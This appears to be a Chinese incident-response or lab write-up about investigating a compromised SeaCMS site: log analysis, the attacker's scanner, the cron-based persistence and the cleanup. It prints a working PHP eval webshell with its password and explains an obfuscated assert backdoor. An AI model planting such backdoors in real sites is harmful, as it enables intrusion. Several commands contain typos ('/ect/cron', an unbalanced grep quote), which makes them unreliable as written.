一、攻击者的IP
首先正常打开网站,看看是不是什么JS劫持、DNS劫持。这是一个基于海洋CMS搭建的网站,进行简单的sql、xss、ssrf测试没有发现问题。FindSomething也没有发现什么泄露信息。
对日志进行分析用户短时间内(几秒钟、几十米内)发起对不同目标URL的访问,判断其为攻击者。User-Agent特征显示其使用的是dirbuster目录爆破工具。
二、攻击者目录扫描工具
dirbuster
三、首次攻击成功的时间
日志分析,我们需要查询攻击者IP,访问成功的日志,并且这是一个php后台
grep -E '38\.207\.130\.14 | grep -E '\" 200' | grep '\.php'
对日志进行分析,着重关注不规律的结果(可能是自动化扫描发现了可疑点于是手动尝试)
攻击者发现了search.php,网站的查询功能可以执行系统命令,于是构造了这个命令,并用base64编码,解码后得到
file_put_contents('a.php','<?php eval($_POST[1]); ?>');
该命令将<?php eval($_POST[1]); ?>写入a.php文件中,如果没有自动创建。
四、写入的恶意后门文件、密码
a.php,1
五、隐藏在正常Web应用中的恶意代码
日志中显示,攻击者利用search.php实现了任意命令执行,说明这个文件可能存在漏洞或被注入了恶意代码。查看该文件:
- 分析该文件内容,该文件是SeaCMS的搜索功能模块,没有发现恶意代码(如eval()、system()、文件写入等操作)
- 该文件包含了两个文件,查看被包含文件,没有发现恶意代码,但是被包含文件也require_once了一个文件
- 查看该文件,发现一段异常代码
这段代码的意思是:
1)$_ = "sser";
2)$_ = "assert";
3)$_(${"_POST"}[0-2-5]);
这里的{""}是动态变量名,实际等价于:assert($_POST[-7]);
其中,/*-/*-*/只是注释的变种写法,在这里就能看出来
六、识别系统中的恶意进程
我们先查看是否建立了后门账号
cat /etc/passwd #查看用户列表
lastlog # 查看用户上一次登录时间
如果存在恶意用户,可以使用 ps -u user
查看该用户启动的指令,没有恶意账号。
排查进程、网络连接
ps -aux
发现可疑进程
- 查看计划任务,判断是否是恶意进程
查看命令 | 含义 |
---|---|
cat /etc/crontabl |
查看系统级计划任务 |
ls -la /ect/cron.hourly |
查看每小时计划任务 |
ls -la /ect/cron.daily |
查看每天计划任务 |
ls -la /ect/cron.weekly |
查看每周计划任务 |
ls -la /ect/cron.monthly |
查看每月计划任务 |
ls -la /var/spool/cron/crontabs |
查看非正常用户任务 |
发现www-data用户有计划任务,查看该任务
与之前对应,确定这是恶意进程
ss -ano
,查看恶意进程正在进行的连接(C2主机信息,Command&Control)
七、修复漏洞
经查询,发现这是
海洋cms v6.53 代码执行漏洞
但是大家没说怎么修复,我暂时也看不懂代码。这个写的很详细,以后说不定回来看看
八、删除恶意程序、文件、代码
检查连接、进程、计划任务、后门账户
使用killall -u www-data、kill pid
杀死恶意进程
rm /var/spool/cron/crontabs/www-data
,清除用户级计划任务
这里需要vim /var/spool/cron/crontabs/www-data
,清除里面内容,而不能直接删除(白花两块钱看答案)